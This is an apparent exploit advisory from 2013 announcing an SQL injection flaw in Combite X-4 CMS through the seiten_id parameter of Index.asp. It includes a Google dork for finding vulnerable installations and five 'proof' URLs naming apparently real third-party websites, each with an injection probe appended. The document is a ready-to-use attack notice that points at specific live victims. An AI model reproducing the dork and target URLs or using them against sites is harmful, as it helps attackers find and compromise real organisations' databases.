#******************************************************************************** # Exploit Title : Combite X-4 CMS SQL Injection Vulnerability # # Exploit Author : Ashiyane Digital Security Team # # Software Link : www.combite.com # # Tested on: Windows 7 , Linux # # Google Dork : intext:"Powered by Combite X-4 CMS" # # Date: 2013/09/11 # -------------------------------------------------------------------- # Exploit : Sql Injection # # Location : [Target]/Index.asp?modul_id=&seiten_id=[Sql Injection] # # # Proof: # # http://www.glorex.com/Index.asp?modul_id=&seiten_id=1' # # http://www.intrateam.ch/Index.asp?modul_id=&seiten_id=1' # # http://www.kokainsprechstunde.ch/Index.asp?modul_id=&seiten_id=1' # # http://www.mino-engineering.ch/Index.asp?modul_id=&seiten_id=1' # # http://www.meierarlesheim.ch/Index.asp?modul_id=&seiten_id=1' # ###################### discovered by : ACC3SS ######################